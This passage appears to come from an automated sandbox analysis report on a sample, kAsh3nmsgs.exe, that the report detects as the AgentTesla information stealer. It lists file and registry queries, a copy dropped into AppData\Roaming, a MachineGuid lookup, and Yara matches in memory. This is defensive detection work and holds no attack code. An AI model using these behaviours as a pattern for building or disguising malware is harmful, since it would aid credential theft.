Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\DUBAI-REGULAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\DUBAI-MEDIUM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Users\user\Desktop\kAsh3nmsgs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Queries volume information: C:\Users\user\AppData\Roaming\HHhSyZN.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Queries volume information: C:\Users\user\AppData\Roaming\HHhSyZN.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation

Source: C:\Users\user\Desktop\kAsh3nmsgs.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 8.2.kAsh3nmsgs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.kAsh3nmsgs.exe.4afe9e8.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.HHhSyZN.exe.4c1f8f8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.HHhSyZN.exe.4be4ed8.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.HHhSyZN.exe.4c1f8f8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.kAsh3nmsgs.exe.4afe9e8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.HHhSyZN.exe.4be4ed8.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.4150670140.0000000002CD1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1771700675.0000000004BE4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1730748161.0000000004AC4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.4150523967.000000000301B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: kAsh3nmsgs.exe PID: 1216, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: kAsh3nmsgs.exe PID: 7412, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: HHhSyZN.exe PID: 7512, type: MEMORYSTR
